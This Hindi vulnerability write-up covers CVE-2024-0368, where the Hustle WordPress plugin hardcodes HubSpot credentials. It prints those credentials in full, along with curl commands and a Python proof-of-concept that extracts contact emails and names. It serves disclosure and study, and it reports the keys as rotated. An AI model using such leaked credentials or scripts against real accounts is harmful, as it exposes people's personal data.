
हस्टल प्लगइन <= 7.8.3 में inc/providers/hubspot/hustle-hubspot-api.php में हार्डकोडेड HubSpot API क्रेडेंशियल्स शामिल हैं।
हस्टल प्लगइन <= 7.8.3 में inc/providers/hubspot/hustle-hubspot-api.php में हार्डकोडेड HubSpot API क्रेडेंशियल शामिल हैं
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2024-0368 |
| शीर्षक | हस्टल <= 7.8.3 - उजागर HubSpot API कुंजियों के माध्यम से संवेदनशील जानकारी का एक्सपोज़र |
| CVSS स्कोर | 8.6 (उच्च) |
| प्रभावित प्लगइन | हस्टल - ईमेल मार्केटिंग, लीड जनरेशन, ऑप्टिन, पॉपअप (wordpress-popup) |
| कमजोर संस्करण | <= 7.8.3 |
| पैच किया गया संस्करण | 7.8.4 |
| भेद्यता प्रकार | CWE-200: संवेदनशील जानकारी का एक्सपोज़र |
फ़ाइल: inc/providers/hubspot/hustle-hubspot-api.php
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
const BASE_URL = 'https://app.hubspot.com/';
const API_URL = 'https://api.hubapi.com/';
const SCOPE = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';
हार्डकोडेड OAuth कॉन्फ़िगरेशन ने निम्नलिखित HubSpot स्कोप्स का अनुरोध किया:
oauth - OAuth प्रमाणीकरणcrm.objects.contacts.write - संपर्क बनाएं/संशोधित करेंcrm.objects.contacts.read - संपर्क जानकारी पढ़ें (PII)crm.lists.read - मार्केटिंग सूचियाँ पढ़ेंcrm.lists.write - मार्केटिंग सूचियाँ संशोधित करेंcrm.schemas.contacts.write - संपर्क स्कीमा संशोधित करेंcrm.schemas.contacts.read - संपर्क स्कीमा पढ़ेंWPMUDEV ने अपने स्वयं के HubSpot OAuth एप्लिकेशन क्रेडेंशियल को सीधे प्लगइन स्रोत कोड में हार्डकोड किया। यह सुरक्षित विकास प्रथाओं का उल्लंघन है क्योंकि:
एक हमलावर यह कर सकता है:
मान्य क्रेडेंशियल के साथ, एक हमलावर संभावित रूप से यह कर सकता है:
# वर्डप्रेस इंस्टॉलेशन से
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"
आउटपुट:
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"
नोट: परीक्षण के अनुसार, API कुंजी को घुमाया/समाप्त कर दिया गया है (प्रकटीकरण के बाद अपेक्षित):
{
"status": "error",
"message": "The API key used to make this call is expired.",
"category": "EXPIRED_AUTHENTICATION"
}
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"
प्रतिक्रिया: क्रेडेंशियल अमान्य कर दिए गए हैं।
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3
This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.
For authorized security testing only.
"""
import requests
import json
# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
"client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
"client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
"hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}
HUBSPOT_API = "https://api.hubapi.com"
def test_api_key():
"""Test if the leaked API key is still valid"""
print("[*] Testing HubSpot API Key...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}
response = requests.get(url, params=params)
data = response.json()
if response.status_code == 200:
print("[+] API Key is VALID - Vulnerability Exploitable!")
print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
return True
else:
print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
return False
def test_oauth():
"""Test OAuth client credentials"""
print("[*] Testing OAuth credentials...")
url = f"{HUBSPOT_API}/oauth/v1/token"
data = {
"grant_type": "client_credentials",
"client_id": CREDENTIALS["client_id"],
"client_secret": CREDENTIALS["client_secret"]
}
response = requests.post(url, data=data)
result = response.json()
if "access_token" in result:
print("[+] OAuth credentials VALID - Got access token!")
return result["access_token"]
else:
print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
return None
def extract_contacts(api_key=None, access_token=None):
"""Extract contacts if credentials are valid"""
print("[*] Attempting to extract contacts...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
headers = {}
params = {"limit": 100}
if access_token:
headers["Authorization"] = f"Bearer {access_token}"
elif api_key:
params["hapikey"] = api_key
response = requests.get(url, headers=headers, params=params)
if response.status_code == 200:
contacts = response.json()
print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
for contact in contacts.get("results", [])[:5]:
props = contact.get("properties", {})
print(f" - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
return contacts
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
print("=" * 60)
print()
# Test leaked credentials
api_valid = test_api_key()
access_token = test_oauth()
print()
if api_valid or access_token:
print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
extract_contacts(
api_key=CREDENTIALS["hapikey"] if api_valid else None,
access_token=access_token
)
else:
print("[*] Credentials have been rotated (expected post-disclosure)")
print("[*] Vulnerability exists in code - credentials were exposed")
print()
print("=" * 60)
पर्यावरण:
क्रेडेंशियल स्थिति:
HAPIKEY): समाप्त/घुमाया गया (प्रकटीकरण के बाद)निष्कर्ष: भेद्यता पुष्टि की गई है - हार्डकोडेड क्रेडेंशियल स्रोत कोड में मौजूद हैं और पहले शोषण योग्य थे। WPMUDEV ने जिम्मेदार प्रकटीकरण के बाद क्रेडेंशियल को घुमा दिया है।
पैच हार्डकोडेड क्रेडेंशियल को हटाता है और उचित क्रेडेंशियल स्टोरेज लागू करता है:
| दिनांक | घटना |
|---|---|
| 2024-01-05 | CVE-2024-0368 प्रकाशित |
| 2024-03-08 | संस्करण 7.8.4 में पैच जारी |
| प्रकटीकरण के बाद | WPMUDEV द्वारा क्रेडेंशियल घुमाए गए |
अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए उत्पन्न
| क्रेडेंशियल | मान | उद्देश्य |
|---|
CLIENT_ID | 5253e533-2dd2-48fd-b102-b92b8f250d1b | OAuth2 एप्लिकेशन पहचानकर्ता |
CLIENT_SECRET | 2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca | OAuth2 क्लाइंट सीक्रेट |
HAPIKEY | db9600bf-648c-476c-be42-6621d7a1f96a | HubSpot लीगेसी API कुंजी |